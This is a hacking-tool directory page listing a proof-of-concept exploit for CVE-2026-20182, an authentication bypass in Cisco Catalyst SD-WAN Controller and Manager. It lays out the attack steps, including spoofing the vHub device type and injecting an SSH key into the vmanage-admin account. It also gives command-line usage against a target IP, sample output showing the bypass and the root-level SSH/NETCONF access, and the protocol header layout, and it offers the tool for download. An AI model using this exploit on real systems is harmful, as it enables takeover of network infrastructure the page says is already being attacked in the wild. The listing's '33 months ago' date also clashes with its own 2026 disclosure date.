Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-20182 — CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0) | Kitploit
Tools/GitHubGitHub/portbuster1337/cve-2026-20182
Exploit FrameworksVulnerability AnalysisExploitationNetwork SecurityPenetration TestingCloud SecurityAuthenticationRed Teaming
GitHubportbuster1337/cve-2026-20182

CVE-2026-20182

CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0)

View Repository
33 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2026-20182 — Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass

A proof-of-concept exploit for CVE-2026-20182, a critical (CVSS 10.0) authentication bypass in the vdaemon DTLS service (UDP/12346) on Cisco Catalyst SD-WAN Controller (vSmart) and Manager (vManage).

Disclosed: May 14, 2026 by Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Added May 14, 2026 (Emergency Directive 26-03)
CVSS: 10.0 — CWE-287: Improper Authentication

Vulnerability

The vdaemon service uses a multi-phase DTLS handshake to authenticate control-plane peers. The vbond_proc_challenge_ack() function implements device-type-specific certificate verification — but device type 2 (vHub) has no verification code path. Sending a CHALLENGE_ACK with device_type=2 causes the function to fall through every conditional and unconditionally set peer->authenticated = 1.

No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

What the Exploit Does

  1. Establishes a DTLS 1.2 connection to the target's vdaemon service (UDP/12346)
  2. Receives the CHALLENGE message (msg_type=8)
  3. Sends CHALLENGE_ACK claiming to be a vHub (device_type=2) → peer is marked authenticated
  4. Sends HELLO (msg_type=5) → peer transitions to UP state
  5. Injects an SSH public key into /home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEER (msg_type=14)
  6. Grants NETCONF access (SSH TCP/830) or SSH access (TCP/22) as vmanage-admin

Usage

root@kitploit:~
python3 cve-2026-20182.py -t <target> [options]

Options

ArgumentDescription

Examples

root@kitploit:~
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100

# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub

# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf

Output

root@kitploit:~
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...

[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH:     ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]

Affected Versions

Research References

  • Rapid7 (Original Disclosure): CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller — Full technical analysis, decompiled code, and protocol details by Stephen Fewer & Jonah Burgess
  • Cisco Security Advisory: cisco-sa-sdwan-rpa2-v69WY2SW — Vendor advisory with fixed versions
  • CISA KEV: CVE-2026-20182 — Emergency Directive 26-03 (remediation by May 17, 2026)
  • NVD: CVE-2026-20182 — National Vulnerability Database entry
  • Rapid7 Metasploit Module: cisco_sdwan_vhub_auth_bypass — Auxiliary module in Metasploit framework
  • BleepingComputer: Cisco warns of new critical SD-WAN flaw exploited in zero-day attacks
  • Tenable: FAQ about the continued exploitation of Cisco SD-WAN vulnerabilities
  • Cisco Talos: Threat actor UAT-8616 attributed to exploiting this vulnerability in the wild

Technical Details

The vdaemon protocol header is 12 bytes:

Device types: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage

Requirements

  • Python 3.7+
  • openssl CLI (for DTLS transport)
  • cryptography library (pip install cryptography)

Disclaimer

This exploit is intended solely for authorized red team operations, penetration testing, and security research on systems where you have explicit written permission. Unauthorized use is illegal.

Download Tool
-t, --target
Target IP or hostname
--portvdaemon UDP port (default: 12346)
--key-filePath to an existing SSH public key to inject (optional)
--netconfVerify exploitation by connecting to NETCONF via SSH
ReleaseFixed Version
< 20.9Migrate to supported release
20.920.9.9.1
20.1020.12.7.1
20.1120.12.7.1
20.1220.12.5.4 / 20.12.6.2 / 20.12.7.1
20.1320.15.5.2
20.1420.15.5.2
20.1520.15.4.4 / 20.15.5.2
20.1620.18.2.2
20.1820.18.2.2
26.1.126.1.1.1
OffsetSizeFieldNotes
01msg_typeLow nibble = type, high nibble = version
11device_infoHigh nibble = device_type, low nibble = flags
21flagsStandard value 0xA0
31paddingAlways 0x00
4-74domain_idBig-endian uint32
8-114site_idBig-endian uint32